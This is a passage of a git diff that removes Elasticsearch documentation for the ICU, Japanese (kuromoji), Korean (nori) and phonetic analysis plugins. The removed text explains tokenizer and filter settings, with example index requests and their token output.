-`case_level`::
-
-Possible values: `true` or `false` (default). Whether case level sorting is
-required. When strength is set to `primary` this will ignore accent
-differences.
-
-
-`case_first`::
-
-Possible values: `lower` or `upper`. Useful to control which case is sorted
-first when case is not ignored for strength `tertiary`. The default depends on
-the collation.
-
-`numeric`::
-
-Possible values: `true` or `false` (default) . Whether digits are sorted
-according to their numeric representation. For example the value `egg-9` is
-sorted before the value `egg-21`.
-
-
-`variable_top`::
-
-Single character or contraction. Controls what is variable for `alternate`.
-
-`hiragana_quaternary_mode`::
-
-Possible values: `true` or `false`.  Distinguishing between Katakana and
-Hiragana characters in `quaternary` strength.
-
-
-[[analysis-icu-transform]]
-==== ICU Transform Token Filter
-
-Transforms are used to process Unicode text in many different ways, such as
-case mapping, normalization, transliteration and bidirectional text handling.
-
-You can define which transformation you want to apply with the `id` parameter
-(defaults to `Null`), and specify text direction with the `dir` parameter
-which accepts `forward` (default) for LTR and `reverse` for RTL.  Custom
-rulesets are not yet supported.
-
-For example:
-
-[source,console]
---------------------------------------------------
-PUT icu_sample
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "analyzer": {
-          "latin": {
-            "tokenizer": "keyword",
-            "filter": [
-              "myLatinTransform"
-            ]
-          }
-        },
-        "filter": {
-          "myLatinTransform": {
-            "type": "icu_transform",
-            "id": "Any-Latin; NFD; [:Nonspacing Mark:] Remove; NFC" <1>
-          }
-        }
-      }
-    }
-  }
-}
-
-GET icu_sample/_analyze
-{
-  "analyzer": "latin",
-  "text": "你好" <2>
-}
-
-GET icu_sample/_analyze
-{
-  "analyzer": "latin",
-  "text": "здравствуйте" <3>
-}
-
-GET icu_sample/_analyze
-{
-  "analyzer": "latin",
-  "text": "こんにちは" <4>
-}
-
---------------------------------------------------
-
-<1> This transforms transliterates characters to Latin, and separates accents
-    from their base characters, removes the accents, and then puts the
-    remaining text into an unaccented form.
-
-<2> Returns `ni hao`.
-<3> Returns `zdravstvujte`.
-<4> Returns `kon'nichiha`.
-
-For more documentation, Please see the http://userguide.icu-project.org/transforms/general[user guide of ICU Transform].
diff --git a/docs/plugins/analysis-kuromoji.asciidoc b/docs/plugins/analysis-kuromoji.asciidoc
deleted file mode 100644
index 4b1f3408882..00000000000
--- a/docs/plugins/analysis-kuromoji.asciidoc
+++ /dev/null
@@ -1,626 +0,0 @@
-[[analysis-kuromoji]]
-=== Japanese (kuromoji) Analysis Plugin
-
-The Japanese (kuromoji) Analysis plugin integrates Lucene kuromoji analysis
-module into {es}.
-
-:plugin_name: analysis-kuromoji
-include::install_remove.asciidoc[]
-
-[[analysis-kuromoji-analyzer]]
-==== `kuromoji` analyzer
-
-The `kuromoji` analyzer consists of the following tokenizer and token filters:
-
-* <<analysis-kuromoji-tokenizer,`kuromoji_tokenizer`>>
-* <<analysis-kuromoji-baseform,`kuromoji_baseform`>> token filter
-* <<analysis-kuromoji-speech,`kuromoji_part_of_speech`>> token filter
-* {ref}/analysis-cjk-width-tokenfilter.html[`cjk_width`] token filter
-* <<analysis-kuromoji-stop,`ja_stop`>> token filter
-* <<analysis-kuromoji-stemmer,`kuromoji_stemmer`>> token filter
-* {ref}/analysis-lowercase-tokenfilter.html[`lowercase`] token filter
-
-It supports the `mode` and `user_dictionary` settings from
-<<analysis-kuromoji-tokenizer,`kuromoji_tokenizer`>>.
-
-[discrete]
-[[kuromoji-analyzer-normalize-full-width-characters]]
-==== Normalize full-width characters
-
-The `kuromoji_tokenizer` tokenizer uses characters from the MeCab-IPADIC
-dictionary to split text into tokens. The dictionary includes some full-width
-characters, such as `ｏ` and `ｆ`. If a text contains full-width characters,
-the tokenizer can produce unexpected tokens.
-
-For example, the `kuromoji_tokenizer` tokenizer converts the text
-`Ｃｕｌｔｕｒｅ　ｏｆ　Ｊａｐａｎ` to the tokens `[ culture, o, f, japan ]`
-instead of `[ culture, of, japan ]`.
-
-To avoid this, add the <<analysis-icu-normalization-charfilter,`icu_normalizer`
-character filter>> to a custom analyzer based on the `kuromoji` analyzer. The
-`icu_normalizer` character filter converts full-width characters to their normal
-equivalents.
-
-First, duplicate the `kuromoji` analyzer to create the basis for a custom
-analyzer. Then add the `icu_normalizer` character filter to the custom analyzer.
-For example:
-
-[source,console]
-----
-PUT index-00001
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "analyzer": {
-          "kuromoji_normalize": {                 <1>
-            "char_filter": [
-              "icu_normalizer"                    <2>
-            ],
-            "tokenizer": "kuromoji_tokenizer",
-            "filter": [
-              "kuromoji_baseform",
-              "kuromoji_part_of_speech",
-              "cjk_width",
-              "ja_stop",
-              "kuromoji_stemmer",
-              "lowercase"
-            ]
-          }
-        }
-      }
-    }
-  }
-}
-----
-<1> Creates a new custom analyzer, `kuromoji_normalize`, based on the `kuromoji`
-analyzer.
-<2> Adds the `icu_normalizer` character filter to the analyzer.
-
-
-[[analysis-kuromoji-charfilter]]
-==== `kuromoji_iteration_mark` character filter
-
-The `kuromoji_iteration_mark` normalizes Japanese horizontal iteration marks
-(_odoriji_) to their expanded form. It accepts the following settings:
-
-`normalize_kanji`::
-
-    Indicates whether kanji iteration marks should be normalize. Defaults to `true`.
-
-`normalize_kana`::
-
-    Indicates whether kana iteration marks should be normalized. Defaults to `true`
-
-
-[[analysis-kuromoji-tokenizer]]
-==== `kuromoji_tokenizer`
-
-The `kuromoji_tokenizer` accepts the following settings:
-
-`mode`::
-+
---
-
-The tokenization mode determines how the tokenizer handles compound and
-unknown words.  It can be set to:
-
-`normal`::
-
-    Normal segmentation, no decomposition for compounds. Example output:
-
-    関西国際空港
-    アブラカダブラ
-
-`search`::
-
-    Segmentation geared towards search. This includes a decompounding process
-    for long nouns, also including the full compound token as a synonym.
-    Example output:
-
-    関西, 関西国際空港, 国際, 空港
-    アブラカダブラ
-
-`extended`::
-
-    Extended mode outputs unigrams for unknown words. Example output:
-
-    関西, 関西国際空港, 国際, 空港
-    ア, ブ, ラ, カ, ダ, ブ, ラ
---
-
-`discard_punctuation`::
-
-    Whether punctuation should be discarded from the output. Defaults to `true`.
-
-`user_dictionary`::
-+
---
-The Kuromoji tokenizer uses the MeCab-IPADIC dictionary by default. A `user_dictionary`
-may be appended to the default dictionary. The dictionary should have the following CSV format:
-
-[source,csv]
------------------------
-<text>,<token 1> ... <token n>,<reading 1> ... <reading n>,<part-of-speech tag>
------------------------
---
-
-As a demonstration of how the user dictionary can be used, save the following
-dictionary to `$ES_HOME/config/userdict_ja.txt`:
-
-[source,csv]
------------------------
-東京スカイツリー,東京 スカイツリー,トウキョウ スカイツリー,カスタム名詞
------------------------
-
---
-
-You can also inline the rules directly in the tokenizer definition using
-the `user_dictionary_rules` option:
-
-[source,console]
---------------------------------------------------
-PUT nori_sample
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "tokenizer": {
-          "kuromoji_user_dict": {
-            "type": "kuromoji_tokenizer",
-            "mode": "extended",
-            "user_dictionary_rules": ["東京スカイツリー,東京 スカイツリー,トウキョウ スカイツリー,カスタム名詞"]
-          }
-        },
-        "analyzer": {
-          "my_analyzer": {
-            "type": "custom",
-            "tokenizer": "kuromoji_user_dict"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
---
-
-`nbest_cost`/`nbest_examples`::
-+
---
-Additional expert user parameters `nbest_cost` and `nbest_examples` can be used
-to include additional tokens that most likely according to the statistical model.
-If both parameters are used, the largest number of both is applied.
-
-`nbest_cost`::
-
-    The `nbest_cost` parameter specifies an additional Viterbi cost.
-    The KuromojiTokenizer will include all tokens in Viterbi paths that are
-    within the nbest_cost value of the best path.
-
-`nbest_examples`::
-
-    The `nbest_examples` can be used to find a `nbest_cost` value based on examples.
-    For example, a value of /箱根山-箱根/成田空港-成田/ indicates that in the texts,
-    箱根山 (Mt. Hakone) and 成田空港 (Narita Airport) we'd like a cost that gives is us
-    箱根 (Hakone) and 成田 (Narita).
---
-
-
-Then create an analyzer as follows:
-
-[source,console]
---------------------------------------------------
-PUT kuromoji_sample
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "tokenizer": {
-          "kuromoji_user_dict": {
-            "type": "kuromoji_tokenizer",
-            "mode": "extended",
-            "discard_punctuation": "false",
-            "user_dictionary": "userdict_ja.txt"
-          }
-        },
-        "analyzer": {
-          "my_analyzer": {
-            "type": "custom",
-            "tokenizer": "kuromoji_user_dict"
-          }
-        }
-      }
-    }
-  }
-}
-
-GET kuromoji_sample/_analyze
-{
-  "analyzer": "my_analyzer",
-  "text": "東京スカイツリー"
-}
---------------------------------------------------
-
-The above `analyze` request returns the following:
-
-[source,console-result]
---------------------------------------------------
-{
-  "tokens" : [ {
-    "token" : "東京",
-    "start_offset" : 0,
-    "end_offset" : 2,
-    "type" : "word",
-    "position" : 0
-  }, {
-    "token" : "スカイツリー",
-    "start_offset" : 2,
-    "end_offset" : 8,
-    "type" : "word",
-    "position" : 1
-  } ]
-}
---------------------------------------------------
-
-`discard_compound_token`::
-    Whether original compound tokens should be discarded from the output with `search` mode. Defaults to `false`.
-    Example output with `search` or `extended` mode and this option `true`:
-
-    関西, 国際, 空港
-
-NOTE: If a text contains full-width characters, the `kuromoji_tokenizer`
-tokenizer can produce unexpected tokens. To avoid this, add the
-<<analysis-icu-normalization-charfilter,`icu_normalizer` character filter>> to
-your analyzer. See <<kuromoji-analyzer-normalize-full-width-characters>>.
-
-
-[[analysis-kuromoji-baseform]]
-==== `kuromoji_baseform` token filter
-
-The `kuromoji_baseform` token filter replaces terms with their
-BaseFormAttribute. This acts as a lemmatizer for verbs and adjectives. Example:
-
-[source,console]
---------------------------------------------------
-PUT kuromoji_sample
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "analyzer": {
-          "my_analyzer": {
-            "tokenizer": "kuromoji_tokenizer",
-            "filter": [
-              "kuromoji_baseform"
-            ]
-          }
-        }
-      }
-    }
-  }
-}
-
-GET kuromoji_sample/_analyze
-{
-  "analyzer": "my_analyzer",
-  "text": "飲み"
-}
---------------------------------------------------
-
-which responds with:
-
-[source,console-result]
---------------------------------------------------
-{
-  "tokens" : [ {
-    "token" : "飲む",
-    "start_offset" : 0,
-    "end_offset" : 2,
-    "type" : "word",
-    "position" : 0
-  } ]
-}
---------------------------------------------------
-
-
-[[analysis-kuromoji-speech]]
-==== `kuromoji_part_of_speech` token filter
-
-The `kuromoji_part_of_speech` token filter removes tokens that match a set of
-part-of-speech tags. It accepts the following setting:
-
-`stoptags`::
-
-    An array of part-of-speech tags that should be removed. It defaults to the
-    `stoptags.txt` file embedded in the `lucene-analyzer-kuromoji.jar`.
-
-For example:
-
-[source,console]
---------------------------------------------------
-PUT kuromoji_sample
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "analyzer": {
-          "my_analyzer": {
-            "tokenizer": "kuromoji_tokenizer",
-            "filter": [
-              "my_posfilter"
-            ]
-          }
-        },
-        "filter": {
-          "my_posfilter": {
-            "type": "kuromoji_part_of_speech",
-            "stoptags": [
-              "助詞-格助詞-一般",
-              "助詞-終助詞"
-            ]
-          }
-        }
-      }
-    }
-  }
-}
-
-GET kuromoji_sample/_analyze
-{
-  "analyzer": "my_analyzer",
-  "text": "寿司がおいしいね"
-}
---------------------------------------------------
-
-Which responds with:
-
-[source,console-result]
---------------------------------------------------
-{
-  "tokens" : [ {
-    "token" : "寿司",
-    "start_offset" : 0,
-    "end_offset" : 2,
-    "type" : "word",
-    "position" : 0
-  }, {
-    "token" : "おいしい",
-    "start_offset" : 3,
-    "end_offset" : 7,
-    "type" : "word",
-    "position" : 2
-  } ]
-}
---------------------------------------------------
-
-
-[[analysis-kuromoji-readingform]]
-==== `kuromoji_readingform` token filter
-
-The `kuromoji_readingform` token filter replaces the token with its reading
-form in either katakana or romaji. It accepts the following setting:
-
-`use_romaji`::
-
-    Whether romaji reading form should be output instead of katakana.  Defaults to `false`.
-
-When using the pre-defined `kuromoji_readingform` filter, `use_romaji` is set
-to `true`. The default when defining a custom `kuromoji_readingform`, however,
-is `false`.  The only reason to use the custom form is if you need the
-katakana reading form:
-
-[source,console]
---------------------------------------------------
-PUT kuromoji_sample
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "analyzer": {
-          "romaji_analyzer": {
-            "tokenizer": "kuromoji_tokenizer",
-            "filter": [ "romaji_readingform" ]
-          },
-          "katakana_analyzer": {
-            "tokenizer": "kuromoji_tokenizer",
-            "filter": [ "katakana_readingform" ]
-          }
-        },
-        "filter": {
-          "romaji_readingform": {
-            "type": "kuromoji_readingform",
-            "use_romaji": true
-          },
-          "katakana_readingform": {
-            "type": "kuromoji_readingform",
-            "use_romaji": false
-          }
-        }
-      }
-    }
-  }
-}
-
-GET kuromoji_sample/_analyze
-{
-  "analyzer": "katakana_analyzer",
-  "text": "寿司" <1>
-}
-
-GET kuromoji_sample/_analyze
-{
-  "analyzer": "romaji_analyzer",
-  "text": "寿司" <2>
-}
---------------------------------------------------
-
-<1> Returns `スシ`.
-<2> Returns `sushi`.
-
-[[analysis-kuromoji-stemmer]]
-==== `kuromoji_stemmer` token filter
-
-The `kuromoji_stemmer` token filter normalizes common katakana spelling
-variations ending in a long sound character by removing this character
-(U+30FC). Only full-width katakana characters are supported.
-
-This token filter accepts the following setting:
-
-`minimum_length`::
-
-    Katakana words shorter than the `minimum length` are not stemmed (default
-    is `4`).
-
-
-[source,console]
---------------------------------------------------
-PUT kuromoji_sample
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "analyzer": {
-          "my_analyzer": {
-            "tokenizer": "kuromoji_tokenizer",
-            "filter": [
-              "my_katakana_stemmer"
-            ]
-          }
-        },
-        "filter": {
-          "my_katakana_stemmer": {
-            "type": "kuromoji_stemmer",
-            "minimum_length": 4
-          }
-        }
-      }
-    }
-  }
-}
-
-GET kuromoji_sample/_analyze
-{
-  "analyzer": "my_analyzer",
-  "text": "コピー" <1>
-}
-
-GET kuromoji_sample/_analyze
-{
-  "analyzer": "my_analyzer",
-  "text": "サーバー" <2>
-}
---------------------------------------------------
-
-<1> Returns `コピー`.
-<2> Return `サーバ`.
-
-
-[[analysis-kuromoji-stop]]
-==== `ja_stop` token filter
-
-The `ja_stop` token filter filters out Japanese stopwords (`_japanese_`), and
-any other custom stopwords specified by the user. This filter only supports
-the predefined `_japanese_` stopwords list.  If you want to use a different
-predefined list, then use the
-{ref}/analysis-stop-tokenfilter.html[`stop` token filter] instead.
-
-[source,console]
---------------------------------------------------
-PUT kuromoji_sample
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "analyzer": {
-          "analyzer_with_ja_stop": {
-            "tokenizer": "kuromoji_tokenizer",
-            "filter": [
-              "ja_stop"
-            ]
-          }
-        },
-        "filter": {
-          "ja_stop": {
-            "type": "ja_stop",
-            "stopwords": [
-              "_japanese_",
-              "ストップ"
-            ]
-          }
-        }
-      }
-    }
-  }
-}
-
-GET kuromoji_sample/_analyze
-{
-  "analyzer": "analyzer_with_ja_stop",
-  "text": "ストップは消える"
-}
---------------------------------------------------
-
-The above request returns:
-
-[source,console-result]
---------------------------------------------------
-{
-  "tokens" : [ {
-    "token" : "消える",
-    "start_offset" : 5,
-    "end_offset" : 8,
-    "type" : "word",
-    "position" : 2
-  } ]
-}
---------------------------------------------------
-
-
-[[analysis-kuromoji-number]]
-==== `kuromoji_number` token filter
-
-The `kuromoji_number` token filter normalizes Japanese numbers (kansūji)
-to regular Arabic decimal numbers in half-width characters. For example:
-
-[source,console]
---------------------------------------------------
-PUT kuromoji_sample
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "analyzer": {
-          "my_analyzer": {
-            "tokenizer": "kuromoji_tokenizer",
-            "filter": [
-              "kuromoji_number"
-            ]
-          }
-        }
-      }
-    }
-  }
-}
-
-GET kuromoji_sample/_analyze
-{
-  "analyzer": "my_analyzer",
-  "text": "一〇〇〇"
-}
---------------------------------------------------
-
-Which results in:
-
-[source,console-result]
---------------------------------------------------
-{
-  "tokens" : [ {
-    "token" : "1000",
-    "start_offset" : 0,
-    "end_offset" : 4,
-    "type" : "word",
-    "position" : 0
-  } ]
-}
---------------------------------------------------
diff --git a/docs/plugins/analysis-nori.asciidoc b/docs/plugins/analysis-nori.asciidoc
deleted file mode 100644
index 6a2e7c767ba..00000000000
--- a/docs/plugins/analysis-nori.asciidoc
+++ /dev/null
@@ -1,545 +0,0 @@
-[[analysis-nori]]
-=== Korean (nori) Analysis Plugin
-
-The Korean (nori) Analysis plugin integrates Lucene nori analysis
-module into elasticsearch. It uses the https://bitbucket.org/eunjeon/mecab-ko-dic[mecab-ko-dic dictionary]
-to perform morphological analysis of Korean texts.
-
-:plugin_name: analysis-nori
-include::install_remove.asciidoc[]
-
-[[analysis-nori-analyzer]]
-==== `nori` analyzer
-
-The `nori` analyzer consists of the following tokenizer and token filters:
-
-* <<analysis-nori-tokenizer,`nori_tokenizer`>>
-* <<analysis-nori-speech,`nori_part_of_speech`>> token filter
-* <<analysis-nori-readingform,`nori_readingform`>> token filter
-* {ref}/analysis-lowercase-tokenfilter.html[`lowercase`] token filter
-
-It supports the `decompound_mode` and `user_dictionary` settings from
-<<analysis-nori-tokenizer,`nori_tokenizer`>> and the `stoptags` setting from
-<<analysis-nori-speech,`nori_part_of_speech`>>.
-
-[[analysis-nori-tokenizer]]
-==== `nori_tokenizer`
-
-The `nori_tokenizer` accepts the following settings:
-
-`decompound_mode`::
-+
---
-
-The decompound mode determines how the tokenizer handles compound tokens.
-It can be set to:
-
-`none`::
-
-    No decomposition for compounds. Example output:
-
-    가거도항
-    가곡역
-
-`discard`::
-
-    Decomposes compounds and discards the original form (*default*). Example output:
-
-    가곡역 => 가곡, 역
-
-`mixed`::
-
-    Decomposes compounds and keeps the original form. Example output:
-
-    가곡역 => 가곡역, 가곡, 역
---
-
-`discard_punctuation`::
-
-    Whether punctuation should be discarded from the output. Defaults to `true`.
-
-`user_dictionary`::
-+
---
-The Nori tokenizer uses the https://bitbucket.org/eunjeon/mecab-ko-dic[mecab-ko-dic dictionary] by default.
-A `user_dictionary` with custom nouns (`NNG`) may be appended to the default dictionary.
-The dictionary should have the following format:
-
-[source,txt]
------------------------
-<token> [<token 1> ... <token n>]
------------------------
-
-The first token is mandatory and represents the custom noun that should be added in
-the dictionary. For compound nouns the custom segmentation can be provided
-after the first token (`[<token 1> ... <token n>]`). The segmentation of the
-custom compound nouns is controlled by the `decompound_mode` setting.
-
-
-As a demonstration of how the user dictionary can be used, save the following
-dictionary to `$ES_HOME/config/userdict_ko.txt`:
-
-[source,txt]
------------------------
-c++                 <1>
-C샤프
-세종
-세종시 세종 시        <2>
------------------------
-
-<1> A simple noun
-<2> A compound noun (`세종시`) followed by its decomposition: `세종` and `시`.
-
-Then create an analyzer as follows:
-
-[source,console]
---------------------------------------------------
-PUT nori_sample
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "tokenizer": {
-          "nori_user_dict": {
-            "type": "nori_tokenizer",
-            "decompound_mode": "mixed",
-            "discard_punctuation": "false",
-            "user_dictionary": "userdict_ko.txt"
-          }
-        },
-        "analyzer": {
-          "my_analyzer": {
-            "type": "custom",
-            "tokenizer": "nori_user_dict"
-          }
-        }
-      }
-    }
-  }
-}
-
-GET nori_sample/_analyze
-{
-  "analyzer": "my_analyzer",
-  "text": "세종시"  <1>
-}
---------------------------------------------------
-
-<1> Sejong city
-
-The above `analyze` request returns the following:
-
-[source,console-result]
---------------------------------------------------
-{
-  "tokens" : [ {
-    "token" : "세종시",
-    "start_offset" : 0,
-    "end_offset" : 3,
-    "type" : "word",
-    "position" : 0,
-    "positionLength" : 2    <1>
-  }, {
-    "token" : "세종",
-    "start_offset" : 0,
-    "end_offset" : 2,
-    "type" : "word",
-    "position" : 0
-  }, {
-    "token" : "시",
-    "start_offset" : 2,
-    "end_offset" : 3,
-    "type" : "word",
-    "position" : 1
-   }]
-}
---------------------------------------------------
-
-<1> This is a compound token that spans two positions (`mixed` mode).
---
-
-`user_dictionary_rules`::
-+
---
-
-You can also inline the rules directly in the tokenizer definition using
-the `user_dictionary_rules` option:
-
-[source,console]
---------------------------------------------------
-PUT nori_sample
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "tokenizer": {
-          "nori_user_dict": {
-            "type": "nori_tokenizer",
-            "decompound_mode": "mixed",
-            "user_dictionary_rules": ["c++", "C샤프", "세종", "세종시 세종 시"]
-          }
-        },
-        "analyzer": {
-          "my_analyzer": {
-            "type": "custom",
-            "tokenizer": "nori_user_dict"
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
---
-
-The `nori_tokenizer` sets a number of additional attributes per token that are used by token filters
-to modify the stream.
-You can view all these additional attributes with the following request:
-
-[source,console]
---------------------------------------------------
-GET _analyze
-{
-  "tokenizer": "nori_tokenizer",
-  "text": "뿌리가 깊은 나무는",   <1>
-  "attributes" : ["posType", "leftPOS", "rightPOS", "morphemes", "reading"],
-  "explain": true
-}
---------------------------------------------------
-
-<1> A tree with deep roots
-
-Which responds with:
-
-[source,console-result]
---------------------------------------------------
-{
-  "detail": {
-    "custom_analyzer": true,
-    "charfilters": [],
-    "tokenizer": {
-      "name": "nori_tokenizer",
-      "tokens": [
-        {
-          "token": "뿌리",
-          "start_offset": 0,
-          "end_offset": 2,
-          "type": "word",
-          "position": 0,
-          "leftPOS": "NNG(General Noun)",
-          "morphemes": null,
-          "posType": "MORPHEME",
-          "reading": null,
-          "rightPOS": "NNG(General Noun)"
-        },
-        {
-          "token": "가",
-          "start_offset": 2,
-          "end_offset": 3,
-          "type": "word",
-          "position": 1,
-          "leftPOS": "J(Ending Particle)",
-          "morphemes": null,
-          "posType": "MORPHEME",
-          "reading": null,
-          "rightPOS": "J(Ending Particle)"
-        },
-        {
-          "token": "깊",
-          "start_offset": 4,
-          "end_offset": 5,
-          "type": "word",
-          "position": 2,
-          "leftPOS": "VA(Adjective)",
-          "morphemes": null,
-          "posType": "MORPHEME",
-          "reading": null,
-          "rightPOS": "VA(Adjective)"
-        },
-        {
-          "token": "은",
-          "start_offset": 5,
-          "end_offset": 6,
-          "type": "word",
-          "position": 3,
-          "leftPOS": "E(Verbal endings)",
-          "morphemes": null,
-          "posType": "MORPHEME",
-          "reading": null,
-          "rightPOS": "E(Verbal endings)"
-        },
-        {
-          "token": "나무",
-          "start_offset": 7,
-          "end_offset": 9,
-          "type": "word",
-          "position": 4,
-          "leftPOS": "NNG(General Noun)",
-          "morphemes": null,
-          "posType": "MORPHEME",
-          "reading": null,
-          "rightPOS": "NNG(General Noun)"
-        },
-        {
-          "token": "는",
-          "start_offset": 9,
-          "end_offset": 10,
-          "type": "word",
-          "position": 5,
-          "leftPOS": "J(Ending Particle)",
-          "morphemes": null,
-          "posType": "MORPHEME",
-          "reading": null,
-          "rightPOS": "J(Ending Particle)"
-        }
-      ]
-    },
-    "tokenfilters": []
-  }
-}
---------------------------------------------------
-
-
-[[analysis-nori-speech]]
-==== `nori_part_of_speech` token filter
-
-The `nori_part_of_speech` token filter removes tokens that match a set of
-part-of-speech tags. The list of supported tags and their meanings can be found here:
-{lucene-core-javadoc}/../analyzers-nori/org/apache/lucene/analysis/ko/POS.Tag.html[Part of speech tags]
-
-It accepts the following setting:
-
-`stoptags`::
-
-    An array of part-of-speech tags that should be removed.
-
-and defaults to:
-
-[source,js]
---------------------------------------------------
-"stoptags": [
-    "E",
-    "IC",
-    "J",
-    "MAG", "MAJ", "MM",
-    "SP", "SSC", "SSO", "SC", "SE",
-    "XPN", "XSA", "XSN", "XSV",
-    "UNA", "NA", "VSV"
-]
---------------------------------------------------
-// NOTCONSOLE
-
-For example:
-
-[source,console]
---------------------------------------------------
-PUT nori_sample
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "analyzer": {
-          "my_analyzer": {
-            "tokenizer": "nori_tokenizer",
-            "filter": [
-              "my_posfilter"
-            ]
-          }
-        },
-        "filter": {
-          "my_posfilter": {
-            "type": "nori_part_of_speech",
-            "stoptags": [
-              "NR"   <1>
-            ]
-          }
-        }
-      }
-    }
-  }
-}
-
-GET nori_sample/_analyze
-{
-  "analyzer": "my_analyzer",
-  "text": "여섯 용이"  <2>
-}
---------------------------------------------------
-
-<1> Korean numerals should be removed (`NR`)
-<2> Six dragons
-
-Which responds with:
-
-[source,console-result]
---------------------------------------------------
-{
-  "tokens" : [ {
-    "token" : "용",
-    "start_offset" : 3,
-    "end_offset" : 4,
-    "type" : "word",
-    "position" : 1
-  }, {
-    "token" : "이",
-    "start_offset" : 4,
-    "end_offset" : 5,
-    "type" : "word",
-    "position" : 2
-  } ]
-}
---------------------------------------------------
-
-
-[[analysis-nori-readingform]]
-==== `nori_readingform` token filter
-
-The `nori_readingform` token filter rewrites tokens written in Hanja to their Hangul form.
-
-[source,console]
---------------------------------------------------
-PUT nori_sample
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "analyzer": {
-          "my_analyzer": {
-            "tokenizer": "nori_tokenizer",
-            "filter": [ "nori_readingform" ]
-          }
-        }
-      }
-    }
-  }
-}
-
-GET nori_sample/_analyze
-{
-  "analyzer": "my_analyzer",
-  "text": "鄕歌"      <1>
-}
---------------------------------------------------
-
-<1> A token written in Hanja: Hyangga
-
-Which responds with:
-
-[source,console-result]
---------------------------------------------------
-{
-  "tokens" : [ {
-    "token" : "향가",     <1>
-    "start_offset" : 0,
-    "end_offset" : 2,
-    "type" : "word",
-    "position" : 0
-  }]
-}
---------------------------------------------------
-
-<1> The Hanja form is replaced by the Hangul translation.
-
-
-[[analysis-nori-number]]
-==== `nori_number` token filter
-
-The `nori_number` token filter normalizes Korean numbers
-to regular Arabic decimal numbers in half-width characters.
-
-Korean numbers are often written using a combination of Hangul and Arabic numbers with various kinds punctuation.
-For example, ３．２천 means 3200.
-This filter does this kind of normalization and allows a search for 3200 to match ３．２천 in text,
-but can also be used to make range facets based on the normalized numbers and so on.
-
-[NOTE]
-====
-Notice that this analyzer uses a token composition scheme and relies on punctuation tokens
-being found in the token stream.
-Please make sure your `nori_tokenizer` has `discard_punctuation` set to false.
-In case punctuation characters, such as U+FF0E(．), is removed from the token stream,
-this filter would find input tokens ３ and ２천 and give outputs 3 and 2000 instead of 3200,
-which is likely not the intended result.
-
-If you want to remove punctuation characters from your index that are not part of normalized numbers,
-add a `stop` token filter with the punctuation you wish to remove after `nori_number` in your analyzer chain.
-====
-Below are some examples of normalizations this filter supports.
-The input is untokenized text and the result is the single term attribute emitted for the input.
-
-- 영영칠 -> 7
-- 일영영영 -> 1000
-- 삼천2백2십삼 -> 3223
-- 조육백만오천일 -> 1000006005001
-- ３.２천 ->  3200
-- １.２만３４５.６７ -> 12345.67
-- 4,647.100 -> 4647.1
-- 15,7 -> 157 (be aware of this weakness)
-
-For example:
-
-[source,console]
---------------------------------------------------
-PUT nori_sample
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "analyzer": {
-          "my_analyzer": {
-            "tokenizer": "tokenizer_discard_puncuation_false",
-            "filter": [
-              "part_of_speech_stop_sp", "nori_number"
-            ]
-          }
-        },
-        "tokenizer": {
-          "tokenizer_discard_puncuation_false": {
-            "type": "nori_tokenizer",
-            "discard_punctuation": "false"
-          }
-        },
-        "filter": {
-            "part_of_speech_stop_sp": {
-                "type": "nori_part_of_speech",
-                "stoptags": ["SP"]
-            }
-        }
-      }
-    }
-  }
-}
-
-GET nori_sample/_analyze
-{
-  "analyzer": "my_analyzer",
-  "text": "십만이천오백과 ３.２천"
-}
---------------------------------------------------
-
-Which results in:
-
-[source,console-result]
---------------------------------------------------
-{
-  "tokens" : [{
-    "token" : "102500",
-    "start_offset" : 0,
-    "end_offset" : 6,
-    "type" : "word",
-    "position" : 0
-  }, {
-    "token" : "과",
-    "start_offset" : 6,
-    "end_offset" : 7,
-    "type" : "word",
-    "position" : 1
-  }, {
-    "token" : "3200",
-    "start_offset" : 8,
-    "end_offset" : 12,
-    "type" : "word",
-    "position" : 2
-  }]
-}
---------------------------------------------------
diff --git a/docs/plugins/analysis-phonetic.asciidoc b/docs/plugins/analysis-phonetic.asciidoc
deleted file mode 100644
index 1f43862bac8..00000000000
--- a/docs/plugins/analysis-phonetic.asciidoc
+++ /dev/null
@@ -1,105 +0,0 @@
-[[analysis-phonetic]]
-=== Phonetic Analysis Plugin
-
-The Phonetic Analysis plugin provides token filters which convert tokens to
-their phonetic representation using Soundex, Metaphone, and a variety of other
-algorithms.
-
-:plugin_name: analysis-phonetic
-include::install_remove.asciidoc[]
-
-
-[[analysis-phonetic-token-filter]]
-==== `phonetic` token filter
-
-The `phonetic` token filter takes the following settings:
-
-`encoder`::
-
-    Which phonetic encoder to use.  Accepts `metaphone` (default),
-    `double_metaphone`, `soundex`, `refined_soundex`, `caverphone1`,
-    `caverphone2`, `cologne`, `nysiis`, `koelnerphonetik`, `haasephonetik`,
-    `beider_morse`, `daitch_mokotoff`.
-
-`replace`::
-
-    Whether or not the original token should be replaced by the phonetic
-    token. Accepts `true` (default) and `false`.  Not supported by
-    `beider_morse` encoding.
-
-[source,console]
---------------------------------------------------
-PUT phonetic_sample
-{
-  "settings": {
-    "index": {
-      "analysis": {
-        "analyzer": {
-          "my_analyzer": {
-            "tokenizer": "standard",
-            "filter": [
-              "lowercase",
-              "my_metaphone"
-            ]
-          }
-        },
-        "filter": {
-          "my_metaphone": {
-            "type": "phonetic",
-            "encoder": "metaphone",
-            "replace": false
-          }
-        }
-      }
-    }
-  }
-}
-
-GET phonetic_sample/_analyze
-{
-  "analyzer": "my_analyzer",
-  "text": "Joe Bloggs" <1>
-}
---------------------------------------------------
-
-<1> Returns: `J`, `joe`, `BLKS`, `bloggs`
-
-It is important to note that `"replace": false` can lead to unexpected behavior since
-the original and the phonetically analyzed version are both kept at the same token position.
-Some queries handle these stacked tokens in special ways. For example, the fuzzy `match`
